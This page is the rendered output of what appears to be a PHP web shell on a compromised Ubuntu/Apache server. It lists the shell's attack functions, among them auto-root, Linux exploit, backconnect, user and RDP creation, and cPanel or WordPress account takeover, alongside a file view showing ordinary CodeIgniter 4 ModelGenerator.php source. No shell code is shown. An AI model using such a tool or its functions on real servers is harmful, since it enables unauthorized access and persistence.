Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cai /
system /
Commands /
Generators /
[ HOME SHELL ]
Name
Size
Permission
Action
Views
[ DIR ]
drwxr-x--x
CommandGenerator.php
2.98
KB
-rwxr-x--x
ConfigGenerator.php
2.09
KB
-rwxr-x--x
ControllerGenerator.php
3.56
KB
-rwxr-x--x
EntityGenerator.php
1.73
KB
-rwxr-x--x
FilterGenerator.php
1.73
KB
-rwxr-x--x
MigrateCreate.php
1.96
KB
-rwxr-x--x
MigrationGenerator.php
3.06
KB
-rwxr-x--x
ModelGenerator.php
3.51
KB
-rwxr-x--x
ScaffoldGenerator.php
3.08
KB
-rwxr-x--x
SeederGenerator.php
1.73
KB
-rwxr-x--x
SessionMigrationGenerator.php
2.6
KB
-rwxr-x--x
ValidationGenerator.php
1.77
KB
-rwxr-x--x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ModelGenerator.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\Commands\Generators; use CodeIgniter\CLI\BaseCommand; use CodeIgniter\CLI\CLI; use CodeIgniter\CLI\GeneratorTrait; /** * Generates a skeleton Model file. */ class ModelGenerator extends BaseCommand { use GeneratorTrait; /** * The Command's Group * * @var string */ protected $group = 'Generators'; /** * The Command's Name * * @var string */ protected $name = 'make:model'; /** * The Command's Description * * @var string */ protected $description = 'Generates a new model file.'; /** * The Command's Usage * * @var string */ protected $usage = 'make:model <name> [options]'; /** * The Command's Arguments * * @var array */ protected $arguments = [ 'name' => 'The model class name.', ]; /** * The Command's Options * * @var array */ protected $options = [ '--table' => 'Supply a table name. Default: "the lowercased plural of the class name".', '--dbgroup' => 'Database group to use. Default: "default".', '--return' => 'Return type, Options: [array, object, entity]. Default: "array".', '--namespace' => 'Set root namespace. Default: "APP_NAMESPACE".', '--suffix' => 'Append the component title to the class name (e.g. User => UserModel).', '--force' => 'Force overwrite existing file.', ]; /** * Actually execute a command. */ public function run(array $params) { $this->component = 'Model'; $this->directory = 'Models'; $this->template = 'model.tpl.php'; $this->classNameLang = 'CLI.generator.className.model'; $this->execute($params); } /** * Prepare options and do the necessary replacements. */ protected function prepare(string $class): string { $table = $this->getOption('table'); $DBGroup = $this->getOption('dbgroup'); $return = $this->getOption('return'); $baseClass = strtolower(str_replace(trim(implode('\\', array_slice(explode('\\', $class), 0, -1)), '\\') . '\\', '', $class)); $baseClass = strpos($baseClass, 'model') ? str_replace('model', '', $baseClass) : $baseClass; $table = is_string($table) ? $table : plural($baseClass); $DBGroup = is_string($DBGroup) ? $DBGroup : 'default'; $return = is_string($return) ? $return : 'array'; if (! in_array($return, ['array', 'object', 'entity'], true)) { // @codeCoverageIgnoreStart $return = CLI::prompt(lang('CLI.generator.returnType'), ['array', 'object', 'entity'], 'required'); CLI::newLine(); // @codeCoverageIgnoreEnd } if ($return === 'entity') { $return = str_replace('Models', 'Entities', $class); if ($pos = strpos($return, 'Model')) { $return = substr($return, 0, $pos); if ($this->getOption('suffix')) { $return .= 'Entity'; } } $this->call('make:entity', array_merge([$baseClass], $this->params)); } return $this->parseTemplate($class, ['{table}', '{DBGroup}', '{return}'], [$table, $DBGroup, $return]); } }
Close